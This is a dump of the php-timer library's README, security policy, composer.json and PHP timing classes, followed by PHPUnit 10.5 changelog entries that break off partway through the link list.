[![codecov](https://codecov.io/gh/sebastianbergmann/php-timer/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/php-timer) Utility class for timing things, factored out of PHPUnit into a stand-alone component. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require phpunit/php-timer ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev phpunit/php-timer ``` ## Usage ### Basic Timing ```php require __DIR__ . '/vendor/autoload.php'; use SebastianBergmann\Timer\Timer; $timer = new Timer; $timer->start(); foreach (\range(0, 100000) as $i) { // ... } $duration = $timer->stop(); var_dump(get_class($duration)); var_dump($duration->asString()); var_dump($duration->asSeconds()); var_dump($duration->asMilliseconds()); var_dump($duration->asMicroseconds()); var_dump($duration->asNanoseconds()); ``` The code above yields the output below: ``` string(32) "SebastianBergmann\Timer\Duration" string(9) "00:00.002" float(0.002851062) float(2.851062) float(2851.062) int(2851062) ``` ### Resource Consumption #### Explicit duration ```php require __DIR__ . '/vendor/autoload.php'; use SebastianBergmann\Timer\ResourceUsageFormatter; use SebastianBergmann\Timer\Timer; $timer = new Timer; $timer->start(); foreach (\range(0, 100000) as $i) { // ... } print (new ResourceUsageFormatter)->resourceUsage($timer->stop()); ``` The code above yields the output below: ``` Time: 00:00.002, Memory: 6.00 MB ``` #### Duration since PHP Startup (using unreliable `$_SERVER['REQUEST_TIME_FLOAT']`) ```php require __DIR__ . '/vendor/autoload.php'; use SebastianBergmann\Timer\ResourceUsageFormatter; foreach (\range(0, 100000) as $i) { // ... } print (new ResourceUsageFormatter)->resourceUsageSinceStartOfRequest(); ``` The code above yields the output below: ``` Time: 00:00.002, Memory: 6.00 MB ``` # Security Policy This library is intended to be used in development environments only. For instance, it is used by the testing framework PHPUnit. There is no reason why this library should be installed on a webserver. **If you upload this library to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. { "name": "phpunit/php-timer", "description": "Utility class for timing", "type": "library", "keywords": [ "timer" ], "homepage": "https://github.com/sebastianbergmann/php-timer/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-timer/issues" }, "prefer-stable": true, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "6.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use function floor; use function sprintf; /** * @psalm-immutable */ final class Duration { private readonly float $nanoseconds; private readonly int $hours; private readonly int $minutes; private readonly int $seconds; private readonly int $milliseconds; public static function fromMicroseconds(float $microseconds): self { return new self($microseconds * 1000); } public static function fromNanoseconds(float $nanoseconds): self { return new self($nanoseconds); } private function __construct(float $nanoseconds) { $this->nanoseconds = $nanoseconds; $timeInMilliseconds = $nanoseconds / 1000000; $hours = floor($timeInMilliseconds / 60 / 60 / 1000); $hoursInMilliseconds = $hours * 60 * 60 * 1000; $minutes = floor($timeInMilliseconds / 60 / 1000) % 60; $minutesInMilliseconds = $minutes * 60 * 1000; $seconds = floor(($timeInMilliseconds - $hoursInMilliseconds - $minutesInMilliseconds) / 1000); $secondsInMilliseconds = $seconds * 1000; $milliseconds = $timeInMilliseconds - $hoursInMilliseconds - $minutesInMilliseconds - $secondsInMilliseconds; $this->hours = (int) $hours; $this->minutes = $minutes; $this->seconds = (int) $seconds; $this->milliseconds = (int) $milliseconds; } public function asNanoseconds(): float { return $this->nanoseconds; } public function asMicroseconds(): float { return $this->nanoseconds / 1000; } public function asMilliseconds(): float { return $this->nanoseconds / 1000000; } public function asSeconds(): float { return $this->nanoseconds / 1000000000; } public function asString(): string { $result = ''; if ($this->hours > 0) { $result = sprintf('%02d', $this->hours) . ':'; } $result .= sprintf('%02d', $this->minutes) . ':'; $result .= sprintf('%02d', $this->seconds); if ($this->milliseconds > 0) { $result .= '.' . sprintf('%03d', $this->milliseconds); } return $result; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use function is_float; use function memory_get_peak_usage; use function microtime; use function sprintf; final class ResourceUsageFormatter { /** * @psalm-var array */ private const SIZES = [ 'GB' => 1073741824, 'MB' => 1048576, 'KB' => 1024, ]; public function resourceUsage(Duration $duration): string { return sprintf( 'Time: %s, Memory: %s', $duration->asString(), $this->bytesToString(memory_get_peak_usage(true)) ); } /** * @throws TimeSinceStartOfRequestNotAvailableException */ public function resourceUsageSinceStartOfRequest(): string { if (!isset($_SERVER['REQUEST_TIME_FLOAT'])) { throw new TimeSinceStartOfRequestNotAvailableException( 'Cannot determine time at which the request started because $_SERVER[\'REQUEST_TIME_FLOAT\'] is not available' ); } if (!is_float($_SERVER['REQUEST_TIME_FLOAT'])) { throw new TimeSinceStartOfRequestNotAvailableException( 'Cannot determine time at which the request started because $_SERVER[\'REQUEST_TIME_FLOAT\'] is not of type float' ); } return $this->resourceUsage( Duration::fromMicroseconds( (1000000 * (microtime(true) - $_SERVER['REQUEST_TIME_FLOAT'])) ) ); } private function bytesToString(int $bytes): string { foreach (self::SIZES as $unit => $value) { if ($bytes >= $value) { return sprintf('%.2f %s', $bytes / $value, $unit); } } // @codeCoverageIgnoreStart return $bytes . ' byte' . ($bytes !== 1 ? 's' : ''); // @codeCoverageIgnoreEnd } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use function array_pop; use function hrtime; final class Timer { /** * @psalm-var list */ private array $startTimes = []; public function start(): void { $this->startTimes[] = (float) hrtime(true); } /** * @throws NoActiveTimerException */ public function stop(): Duration { if (empty($this->startTimes)) { throw new NoActiveTimerException( 'Timer::start() has to be called before Timer::stop()' ); } return Duration::fromNanoseconds((float) hrtime(true) - array_pop($this->startTimes)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use LogicException; final class NoActiveTimerException extends LogicException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Timer; use RuntimeException; final class TimeSinceStartOfRequestNotAvailableException extends RuntimeException implements Exception { } # Changes in PHPUnit 10.5 All notable changes of the PHPUnit 10.5 release series are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [10.5.58] - 2025-09-28 ### Fixed * [#6368](https://github.com/sebastianbergmann/phpunit/issues/6368): `failOnPhpunitWarning="false"` has no effect ## [10.5.57] - 2025-09-24 * No changes; `phpunit.phar` rebuilt with updated dependencies ## [10.5.56] - 2025-09-23 * No changes; `phpunit.phar` rebuilt with updated dependencies ## [10.5.55] - 2025-09-14 ### Changed * [#6366](https://github.com/sebastianbergmann/phpunit/issues/6366): Exclude `__sleep()` and `__wakeup()` from test double code generation on PHP >= 8.5 ## [10.5.54] - 2025-09-11 ### Changed * Do not use `__sleep()` method (which will be deprecated in PHP 8.5) ## [10.5.53] - 2025-08-20 ### Changed * Do not configure `report_memleaks` setting (which will be deprecated in PHP 8.5) for PHPT processes ## [10.5.52] - 2025-08-16 ### Changed * [#6321](https://github.com/sebastianbergmann/phpunit/issues/6321): Allow `error_reporting=E_ALL` for `--check-php-configuration` ## [10.5.51] - 2025-08-12 ### Changed * [#6308](https://github.com/sebastianbergmann/phpunit/pull/6308): Improve output of `--check-php-configuration` * The version number for the test result cache file has been incremented to reflect that its structure for PHPUnit 10.5 is not compatible with its structure for PHPUnit 8.5 and PHPUnit 9.6 ## [10.5.50] - 2025-08-10 ### Changed * [#6300](https://github.com/sebastianbergmann/phpunit/issues/6300): Emit warning when the name of a data provider method begins with `test` * Do not use `SplObjectStorage` methods that will be deprecated in PHP 8.5 ## [10.5.49] - 2025-08-09 ### Added * [#6297](https://github.com/sebastianbergmann/phpunit/issues/6297): `--check-php-configuration` CLI option for checking whether PHP is configured for testing ### Fixed * Errors due to invalid data provided using `#[TestWith]` or `#[TestWithJson]` attributes are now properly reported ## [10.5.48] - 2025-07-11 ### Fixed * [#6254](https://github.com/sebastianbergmann/phpunit/issues/6254): `defects,random`configuration is supported by implementation, but it is not allowed by the XML configuration file schema ## [10.5.47] - 2025-06-20 ### Added * [#6236](https://github.com/sebastianbergmann/phpunit/issues/6236): `failOnPhpunitWarning` attribute on the `` element of the XML configuration file and `--fail-on-phpunit-warning` CLI option for controlling whether PHPUnit should fail on PHPUnit warnings (default: `true`) * [#6239](https://github.com/sebastianbergmann/phpunit/issues/6239): `--do-not-fail-on-deprecation`, `--do-not-fail-on-phpunit-warning`, `--do-not-fail-on-phpunit-deprecation`, `--do-not-fail-on-empty-test-suite`, `--do-not-fail-on-incomplete`, `--do-not-fail-on-notice`, `--do-not-fail-on-risky`, `--do-not-fail-on-skipped`, and `--do-not-fail-on-warning` CLI options * `--do-not-report-useless-tests` CLI option as a replacement for `--dont-report-useless-tests` ### Deprecated * `--dont-report-useless-tests` CLI option (use `--do-not-report-useless-tests` instead) ### Fixed * [#6243](https://github.com/sebastianbergmann/phpunit/issues/6243): Constraints cannot be implemented without using internal class `ExpectationFailedException` ## [10.5.46] - 2025-05-02 ### Added * `displayDetailsOnAllIssues` attribute on the `` element of the XML configuration file and `--display-all-issues` CLI option for controlling whether PHPUnit should display details on all issues that are triggered (default: `false`) * `failOnAllIssues` attribute on the `` element of the XML configuration file and `--fail-on-all-issues` CLI option for controlling whether PHPUnit should fail on all issues that are triggered (default: `false`) ### Changed * [#5956](https://github.com/sebastianbergmann/phpunit/issues/5956): Improved handling of deprecated `E_STRICT` constant * Improved message when test is considered risky for printing unexpected output ## [10.5.45] - 2025-02-06 ### Changed * [#6117](https://github.com/sebastianbergmann/phpunit/issues/6117): Include source location information for issues triggered during test in `--debug` output * [#6119](https://github.com/sebastianbergmann/phpunit/issues/6119): Improve message for errors that occur while parsing attributes ## [10.5.44] - 2025-01-31 ### Fixed * [#6115](https://github.com/sebastianbergmann/phpunit/issues/6115): Backed enumerations with values not of type `string` cannot be used in customized TestDox output ## [10.5.43] - 2025-01-29 ### Changed * Do not skip execution of test that depends on a test that is larger than itself ## [10.5.42] - 2025-01-28 ### Fixed * [#6103](https://github.com/sebastianbergmann/phpunit/issues/6103): Output from test run in separate process is printed twice * [#6109](https://github.com/sebastianbergmann/phpunit/issues/6109): Skipping a test in a before-class method crashes JUnit XML logger * [#6111](https://github.com/sebastianbergmann/phpunit/issues/6111): Deprecations cause `SourceMapper` to scan all `` files ## [10.5.41] - 2025-01-13 ### Added * `Test\AfterLastTestMethodErrored`, `Test\AfterTestMethodErrored`, `Test\BeforeTestMethodErrored`, `Test\PostConditionErrored`, and `Test\PreConditionErrored` events ### Fixed * [#6094](https://github.com/sebastianbergmann/phpunit/issues/6094): Errors in after-last-test methods are not reported * [#6095](https://github.com/sebastianbergmann/phpunit/issues/6095): Expectation is not counted correctly when a doubled method is called more often than is expected * [#6098](https://github.com/sebastianbergmann/phpunit/issues/6098): No `system-out` element in JUnit XML logfile ## [10.5.40] - 2024-12-21 ### Fixed * [#6082](https://github.com/sebastianbergmann/phpunit/issues/6082): `assertArrayHasKey()`, `assertArrayNotHasKey()`, `arrayHasKey()`, and `ArrayHasKey::__construct()` do not support all possible key types * [#6087](https://github.com/sebastianbergmann/phpunit/issues/6087): `--migrate-configuration` does not remove `beStrictAboutTodoAnnotatedTests` attribute from XML configuration file ## [10.5.39] - 2024-12-11 ### Added * [#6081](https://github.com/sebastianbergmann/phpunit/pull/6081): `DefaultResultCache::mergeWith()` for merging result cache instances ### Fixed * [#6066](https://github.com/sebastianbergmann/phpunit/pull/6066): TeamCity logger does not handle error/skipped events in before-class methods correctly ## [10.5.38] - 2024-10-28 ### Changed * [#6012](https://github.com/sebastianbergmann/phpunit/pull/6012): Remove empty lines between TeamCity events ## [10.5.37] - 2024-10-19 ### Fixed * [#5982](https://github.com/sebastianbergmann/phpunit/pull/5982): Typo in exception message ## [10.5.36] - 2024-10-08 ### Changed * [#5957](https://github.com/sebastianbergmann/phpunit/pull/5957): Skip data provider build when requirements are not satisfied * [#5969](https://github.com/sebastianbergmann/phpunit/pull/5969): Check for requirements before creating a separate process * Updated regular expressions used by `StringMatchesFormatDescription` constraint to be consistent with PHP's `run-tests.php` ### Fixed * [#5965](https://github.com/sebastianbergmann/phpunit/issues/5965): `PHPUnit\Framework\Exception` does not handle string error codes (`PDOException` with error code `'HY000'`, for example) ## [10.5.35] - 2024-09-19 ### Changed * [#5956](https://github.com/sebastianbergmann/phpunit/issues/5956): Deprecation of the `E_STRICT` constant in PHP 8.4 ### Fixed * [#5950](https://github.com/sebastianbergmann/phpunit/pull/5950): TestDox text should not be `trim()`med when it contains `$` character * The attribute parser will no longer try to instantiate attribute classes that do not exist ## [10.5.34] - 2024-09-13 ### Fixed * [#5931](https://github.com/sebastianbergmann/phpunit/pull/5931): Reverted addition of `name` property on `` element in JUnit XML logfile * [#5946](https://github.com/sebastianbergmann/phpunit/issues/5946): `Callback` throws a `TypeError` when checking a `callable` has variadic parameters ## [10.5.33] - 2024-09-09 ### Fixed * [#4584](https://github.com/sebastianbergmann/phpunit/issues/4584): `assertJsonStringEqualsJsonString()` considers objects with sequential numeric keys equal to be arrays * [#4625](https://github.com/sebastianbergmann/phpunit/issues/4625): Generator yielding keys that are neither integer or string leads to hard-to-understand error message when used as data provider * [#4674](https://github.com/sebastianbergmann/phpunit/issues/4674): JSON assertions should treat objects as unordered * [#5891](https://github.com/sebastianbergmann/phpunit/issues/5891): `Callback` constraint does not handle variadic arguments correctly when used for mock object expectations * [#5929](https://github.com/sebastianbergmann/phpunit/issues/5929): TestDox output containing `$` at the beginning gets truncated when used with a data provider ## [10.5.32] - 2024-09-04 ### Added * [#5937](https://github.com/sebastianbergmann/phpunit/issues/5937): `failOnPhpunitDeprecation` attribute on the `` element of the XML configuration file and `--fail-on-phpunit-deprecation` CLI option for controlling whether PHPUnit deprecations should be considered when determining the test runner's shell exit code (default: do not consider) * `displayDetailsOnPhpunitDeprecations` attribute on the `` element of the XML configuration file and `--display-phpunit-deprecations` CLI option for controlling whether details on PHPUnit deprecations should be displayed (default: do not display) ### Changed * [#5937](https://github.com/sebastianbergmann/phpunit/issues/5937): PHPUnit deprecations will, by default, no longer affect the test runner's shell exit code. This can optionally be turned back on using the `--fail-on-phpunit-deprecation` CLI option or the `failOnPhpunitDeprecation="true"` attribute on the `` element of the XML configuration file. * Details for PHPUnit deprecations will, by default, no longer be displayed. This can optionally be turned back on using the `--display-phpunit-deprecations` CLI option or the `displayDetailsOnPhpunitDeprecations` attribute on the `` element of the XML configuration file. ## [10.5.31] - 2024-09-03 ### Changed * [#5931](https://github.com/sebastianbergmann/phpunit/pull/5931): `name` property on `` element in JUnit XML logfile * Removed `.phpstorm.meta.php` file as methods such as `TestCase::createStub()` use generics / template types for their return types and PhpStorm, for example, uses that information ### Fixed * [#5884](https://github.com/sebastianbergmann/phpunit/issues/5884): TestDox printer does not consider that issues can be suppressed by attribute, baseline, source location, or `@` operator ## [10.5.30] - 2024-08-13 ### Changed * Improved error message when stubbed method is called more often than return values were configured for it ## [10.5.29] - 2024-07-30 ### Fixed * [#5887](https://github.com/sebastianbergmann/phpunit/pull/5887): Issue baseline generator does not correctly handle ignoring suppressed issues * [#5908](https://github.com/sebastianbergmann/phpunit/issues/5908): `--list-tests` and `--list-tests-xml` CLI options do not report error when data provider method throws exception ## [10.5.28] - 2024-07-18 ### Fixed * [#5898](https://github.com/sebastianbergmann/phpunit/issues/5898): `Test\Passed` event is not emitted for PHPT tests * `--coverage-filter` CLI option could not be used multiple times ## [10.5.27] - 2024-07-10 ### Changed * Updated dependencies (so that users that install using Composer's `--prefer-lowest` CLI option also get recent versions) ### Fixed * [#5892](https://github.com/sebastianbergmann/phpunit/issues/5892): Errors during write of `phpunit.xml` are not handled correctly when `--generate-configuration` is used ## [10.5.26] - 2024-07-08 ### Added * `--only-summary-for-coverage-text` CLI option to reduce the code coverage report in text format to a summary * `--show-uncovered-for-coverage-text` CLI option to expand the code coverage report in text format to include a list of uncovered files ## [10.5.25] - 2024-07-03 ### Changed * Updated dependencies for PHAR distribution ## [10.5.24] - 2024-06-20 ### Changed * [#5877](https://github.com/sebastianbergmann/phpunit/pull/5877): Use `array_pop()` instead of `array_shift()` for processing `Test` objects in `TestSuite::run()` and optimize `TestSuite::isEmpty()` ## [10.5.23] - 2024-06-20 ### Changed * [#5875](https://github.com/sebastianbergmann/phpunit/pull/5875): Also destruct `TestCase` objects early that use a data provider ## [10.5.22] - 2024-06-19 ### Changed * [#5871](https://github.com/sebastianbergmann/phpunit/pull/5871): Do not collect unnecessary information using `debug_backtrace()` ## [10.5.21] - 2024-06-15 ### Changed * [#5861](https://github.com/sebastianbergmann/phpunit/pull/5861): Destroy `TestCase` object after its test was run ## [10.5.20] - 2024-04-24 * [#5771](https://github.com/sebastianbergmann/phpunit/issues/5771): JUnit XML logger may crash when test that is run in separate process exits unexpectedly * [#5819](https://github.com/sebastianbergmann/phpunit/issues/5819): Duplicate keys from different data providers are not handled properly ## [10.5.19] - 2024-04-17 ### Fixed * [#5818](https://github.com/sebastianbergmann/phpunit/issues/5818): Calling `method()` on a test stub created using `createStubForIntersectionOfInterfaces()` throws an unexpected exception ## [10.5.18] - 2024-04-14 ### Deprecated * [#5812](https://github.com/sebastianbergmann/phpunit/pull/5812): Support for string array keys in data sets returned by data provider methods that do not match the parameter names of the test method(s) that use(s) them ### Fixed * [#5795](https://github.com/sebastianbergmann/phpunit/issues/5795): Using `@testWith` annotation may generate `PHP Warning: Uninitialized string offset 0` ## [10.5.17] - 2024-04-05 ### Changed * The namespaces of dependencies are now prefixed with `PHPUnitPHAR` instead of just `PHPUnit` for the PHAR distribution of PHPUnit ## [10.5.16] - 2024-03-28 ### Changed * [#5766](https://github.com/sebastianbergmann/phpunit/pull/5766): Do not use a shell in `proc_open()` if not really needed * [#5772](https://github.com/sebastianbergmann/phpunit/pull/5772): Cleanup process handling after dropping temp-file handling ### Fixed * [#5570](https://github.com/sebastianbergmann/phpunit/pull/5570): Windows does not support exclusive locks on stdout ## [10.5.15] - 2024-03-22 ### Fixed * [#5765](https://github.com/sebastianbergmann/phpunit/pull/5765): Be more forgiving with error handlers that do not respect error suppression ## [10.5.14] - 2024-03-21 ### Changed * [#5747](https://github.com/sebastianbergmann/phpunit/pull/5747): Cache result of `Groups::groups()` * [#5748](https://github.com/sebastianbergmann/phpunit/pull/5748): Improve performance of `NamePrettifier::prettifyTestMethodName()` * [#5750](https://github.com/sebastianbergmann/phpunit/pull/5750): Micro-optimize `NamePrettifier::prettifyTestMethodName()` once again ### Fixed * [#5760](https://github.com/sebastianbergmann/phpunit/issues/5760): TestDox printer does not display details about exceptions raised in before-test methods ## [10.5.13] - 2024-03-12 ### Changed * [#5727](https://github.com/sebastianbergmann/phpunit/pull/5727): Prevent duplicate call of `NamePrettifier::prettifyTestMethodName()` * [#5739](https://github.com/sebastianbergmann/phpunit/pull/5739): Micro-optimize `NamePrettifier::prettifyTestMethodName()` * [#5740](https://github.com/sebastianbergmann/phpunit/pull/5740): Micro-optimize `TestRunner::runTestWithTimeout()` * [#5741](https://github.com/sebastianbergmann/phpunit/pull/5741): Save call to `Telemetry\System::snapshot()` * [#5742](https://github.com/sebastianbergmann/phpunit/pull/5742): Prevent file IO when not strictly necessary * [#5743](https://github.com/sebastianbergmann/phpunit/pull/5743): Prevent unnecessary `ExecutionOrderDependency::getTarget()` call * [#5744](https://github.com/sebastianbergmann/phpunit/pull/5744): Simplify `NamePrettifier::prettifyTestMethodName()` ### Fixed * [#5351](https://github.com/sebastianbergmann/phpunit/issues/5351): Incorrect code coverage metadata does not prevent code coverage data from being collected * [#5746](https://github.com/sebastianbergmann/phpunit/issues/5746): Using `-d` CLI option multiple times triggers warning ## [10.5.12] - 2024-03-09 ### Fixed * [#5652](https://github.com/sebastianbergmann/phpunit/issues/5652): `HRTime::duration()` throws `InvalidArgumentException` ## [10.5.11] - 2024-02-25 ### Fixed * [#5704](https://github.com/sebastianbergmann/phpunit/issues/5704#issuecomment-1951105254): No warning when CLI options are used multiple times * [#5707](https://github.com/sebastianbergmann/phpunit/issues/5707): `--fail-on-empty-test-suite` CLI option is not documented in `--help` output * No warning when the `#[CoversClass]` and `#[UsesClass]` attributes are used with the name of an interface * Resource usage information is printed when the `--debug` CLI option is used ## [10.5.10] - 2024-02-04 ### Changed * Improve output of `--check-version` CLI option * Improve description of `--check-version` CLI option ### Fixed * [#5692](https://github.com/sebastianbergmann/phpunit/issues/5692): `--log-events-text` and `--log-events-verbose-text` require the destination file to exit ## [10.5.9] - 2024-01-22 ### Changed * Show help for `--manifest`, `--sbom`, and `--composer-lock` when the PHAR is used ### Fixed * [#5676](https://github.com/sebastianbergmann/phpunit/issues/5676): PHPUnit's test runner overwrites custom error handler registered using `set_error_handler()` in bootstrap script ## [10.5.8] - 2024-01-19 ### Fixed * [#5673](https://github.com/sebastianbergmann/phpunit/issues/5673): Confusing error message when migration of a configuration is requested that does not need to be migrated ## [10.5.7] - 2024-01-14 ### Fixed * [#5662](https://github.com/sebastianbergmann/phpunit/issues/5662): PHPUnit errors out on startup when the `ctype` extension is not loaded but a polyfill for it was installed ## [10.5.6] - 2024-01-13 ### Added * Added the `--debug` CLI option as an alias for `--no-output --log-events-text php://stdout` ### Fixed * [#5455](https://github.com/sebastianbergmann/phpunit/issues/5455): `willReturnCallback()` does not pass unknown named variadic arguments to callback * [#5488](https://github.com/sebastianbergmann/phpunit/issues/5488): Details about tests that are considered risky are not displayed when the TestDox result printer is used * [#5516](https://github.com/sebastianbergmann/phpunit/issues/5516): Assertions that use the `LogicalNot` constraint (`assertNotEquals()`, `assertStringNotContainsString()`, ...) can generate confusing failure messages * [#5518](https://github.com/sebastianbergmann/phpunit/issues/5518): Details about deprecations, notices, and warnings are not displayed when the TestDox result printer is used * [#5574](https://github.com/sebastianbergmann/phpunit/issues/5574): Wrong backtrace line is reported * [#5633](https://github.com/sebastianbergmann/phpunit/pull/5633): `--log-events-text` and `--log-events-verbose-text` CLI options do not handle absolute and relative paths * [#5634](https://github.com/sebastianbergmann/phpunit/pull/5634): Exceptions in the destructor of a test double are ignored * [#5641](https://github.com/sebastianbergmann/phpunit/issues/5641): The `TestSuite` value object returned by `TestSuite\Filtered::testSuite()` contains all tests instead of only the filtered tests ## [10.5.5] - 2023-12-27 ### Fixed * [#5619](https://github.com/sebastianbergmann/phpunit/pull/5619): Reverted change introduced in PHPUnit 10.5.4 that broke backward compatibility ## [10.5.4] - 2023-12-27 ### Fixed * [#5592](https://github.com/sebastianbergmann/phpunit/issues/5592): Error Handler prevents `error_get_last()` usage in tests * [#5592](https://github.com/sebastianbergmann/phpunit/issues/5592): `E_USER_ERROR` does not abort test execution * [#5612](https://github.com/sebastianbergmann/phpunit/issues/5612): Empty `` element in XML configuration after migrating configuration * [#5616](https://github.com/sebastianbergmann/phpunit/issues/5616): Values from data provider are not shown for failed test * [#5619](https://github.com/sebastianbergmann/phpunit/pull/5619): Check and restore error/exception global handlers * [#5621](https://github.com/sebastianbergmann/phpunit/issues/5621): Name of data set is missing from TeamCity output ## [10.5.3] - 2023-12-13 ### Changed * Make PHAR build reproducible (the only remaining differences were in the timestamps for the files in the PHAR) ### Deprecated * `Test\AssertionFailed` and `Test\AssertionSucceeded` events * `PHPUnit\Runner\Extension\Facade::requireExportOfObjects()` and `PHPUnit\Runner\Extension\Facade::requiresExportOfObjects()` * `registerMockObjectsFromTestArgumentsRecursively` attribute on the `` element of the XML configuration file * `PHPUnit\TextUI\Configuration\Configuration::registerMockObjectsFromTestArgumentsRecursively()` ### Fixed * [#5614](https://github.com/sebastianbergmann/phpunit/issues/5614): Infinite recursion when data provider provides recursive array ## [10.5.2] - 2023-12-05 ### Fixed * [#5561](https://github.com/sebastianbergmann/phpunit/issues/5561): JUnit XML logger does not handle assertion failures in before-test methods * [#5567](https://github.com/sebastianbergmann/phpunit/issues/5567): Infinite recursion when recursive / self-referencing arrays are checked whether they contain only scalar values ## [10.5.1] - 2023-12-01 ### Fixed * [#5593](https://github.com/sebastianbergmann/phpunit/issues/5593): Return Value Generator fails to correctly create test stub for method with `static` return type declaration when used recursively * [#5596](https://github.com/sebastianbergmann/phpunit/issues/5596): `PHPUnit\Framework\TestCase` has `@internal` annotation in PHAR ## [10.5.0] - 2023-12-01 ### Added * [#5532](https://github.com/sebastianbergmann/phpunit/issues/5532): `#[IgnoreDeprecations]` attribute to ignore `E_(USER_)DEPRECATED` issues on test class and test method level * [#5551](https://github.com/sebastianbergmann/phpunit/issues/5551): Support for omitting parameter default values for `willReturnMap()` * [#5577](https://github.com/sebastianbergmann/phpunit/issues/5577): `--composer-lock` CLI option for PHAR binary that displays the `composer.lock` used to build the PHAR ### Changed * `MockBuilder::disableAutoReturnValueGeneration()` and `MockBuilder::enableAutoReturnValueGeneration()` are no longer deprecated ### Fixed * [#5563](https://github.com/sebastianbergmann/phpunit/issues/5563): `createMockForIntersectionOfInterfaces()` does not automatically register mock object for expectation verification [10.5.58]: https://github.com/sebastianbergmann/phpunit/compare/10.5.57...10.5.58 [10.5.57]: https://github.com/sebastianbergmann/phpunit/compare/10.5.56...10.5.57 [10.5.56]: https://github.com/sebastianbergmann/phpunit/compare/10.5.55...10.5.56 [10.5.55]: https://github.com/sebastianbergmann/phpunit/compare/10.5.54...10.5.55 [10.5.54]: https://github.com/sebastianbergmann/phpunit/compare/10.5.53...10.5.54 [10.5.53]: https://github.com/sebastianbergmann/phpunit/compare/10.5.52...10.5.53 [10.5.52]: https://github.com/sebastianbergmann/phpunit/compare/10.5.51...10.5.52 [10.5.51]: https://github.com/sebastianbergmann/phpunit/compare/10.5.50...10.5.51 [10.5.50]: https://github.com/sebastianbergmann/phpunit/compare/10.5.49...10.5.50 [10.5.49]: https://github.com/sebastianbergmann/phpunit/compare/10.5.48...10.5.49 [10.5.48]: https://github.com/sebastianbergmann/phpunit/compare/10.5.47...10.5.48 [10.5.47]: https://github.com/sebastianbergmann/phpunit/compare/10.5.46...10.5.47 [10.5.46]: https://github.com/sebastianbergmann/phpunit/compare/10.5.45...10.5.46 [10.5.45]: https://github.com/sebastianbergmann/phpunit/compare/10.5.44...10.5.45 [10.5.44]: https://github.com/sebastianbergmann/phpunit/compare/10.5.43...10.5.44 [10.5.43]: https://github.com/sebastianbergmann/phpunit/compare/10.5.42...10.5.43 [10.5.42]: https://github.com/sebastianbergmann/phpunit/compare/10.5.41...10.5.42 [10.5.41]: https://github.com/sebastianbergmann/phpunit/compare/10.5.40...10.5.41 [10.5.40]: https://github.com/sebastianbergmann/phpunit/compare/10.5.39...10.5.40 [10.5.39]: https://github.com/sebastianbergmann/phpunit/compare/10.5.38...10.5.39 [10.5.38]: https://github.com/sebastianbergmann/phpunit/compare/10.5.37...10.5.38 [10.5.37]: https://github.com/sebastianbergmann/phpunit/compare/10.5.36...10.5.37 [10.5.36]: https://github.com/sebastianbergmann/phpunit/compare/10.5.35...10.5.36 [10.5.35]: https://github.com/sebastianbergmann/phpunit/compare/10.5.34...10.5.35 [10.5.34]: https://github.com/sebastianbergmann/phpunit/compare/10.5.33...10.5.34 [10.5.33]: https://github.com/sebastianbergmann/phpunit/compare/10.5.32...10.5.33 [10.5.32]: https://github.com/sebastianbergmann/phpunit/compare/10.5.31...10.5.32 [10.5.31]: https://github.com/sebastianbergmann/phpunit/compare/10.5.30...10.5.31 [10.5.30]: https://github.com/sebastianbergmann/phpunit/compare/10.5.29...10.5.30 [10.5.29]: https://github.com/sebastianbergmann/phpunit/compare/10.5.28...10.5.29 [10.5.28]: https://github.com/sebastianbergmann/phpunit/compare/10.5.27...10.5.28 [10.5.27]: https://github.com/sebastianbergmann/phpunit/compare/10.5.26...10.5.27 [10.5.26]: https://github.com/sebastianbergmann/phpunit/compare/10.5.25...10.5.26 [10.5.25]: https://github.com/sebastianbergmann/phpunit/compare/10.5.24...10.5.25 [10.5.24]: https://github.com/sebastianbergmann/phpunit/compare/10.5.23...10.5.24 [10.5.23]: https://github.com/sebastianbergmann/phpunit/compare/10.5.22...10.5.23 [10.5.22]: https://github.com/sebastianbergmann/phpunit/compare/10.5.21...10.5.22 [10.5.21]: https://github.com/sebastianbergmann/phpunit/compare/10.5.20...10.5.21 [10.5.20]: https://github.com/sebastianbergmann/phpunit/compare/10.5.19...10.5.20 [10.5.19]: https://github.com/sebastianbergmann/phpunit/compare/10.5.18...10.5.19 [10.5.18]: https://github.com/sebastianbergmann/phpunit/compare/10.5.17...10.5.18 [10.5.17]: https://github.com/sebastianbergmann/phpunit/compare/10.5.16...10.5.17 [10.5.16]: https://github.com/sebastianbergmann/phpunit/compare/10.5.15...10.5.16 [10.5.15]: https://github.com/sebastianbergmann/phpunit/compare/10.5.14...10.5.15 [10.5.14]: https://github.com/sebastianbergmann/phpunit/compare/10.5.13...10.5.14 [10.5.13]: https://github.com/sebastianbergmann/phpunit/compare/10.5.12...10.5.13 [10.5.12]: https://github.com/sebastianbergmann/phpunit/compare/10.5.11...10.5.12 [10.5.11]: https://github.com/sebastianbergmann/phpunit/compare/10.5.10...10.5.11 [10.5.10]: https://github.com/sebastianbergmann/phpunit/compare/10.5.9...10.5.10 [10.5.9]: 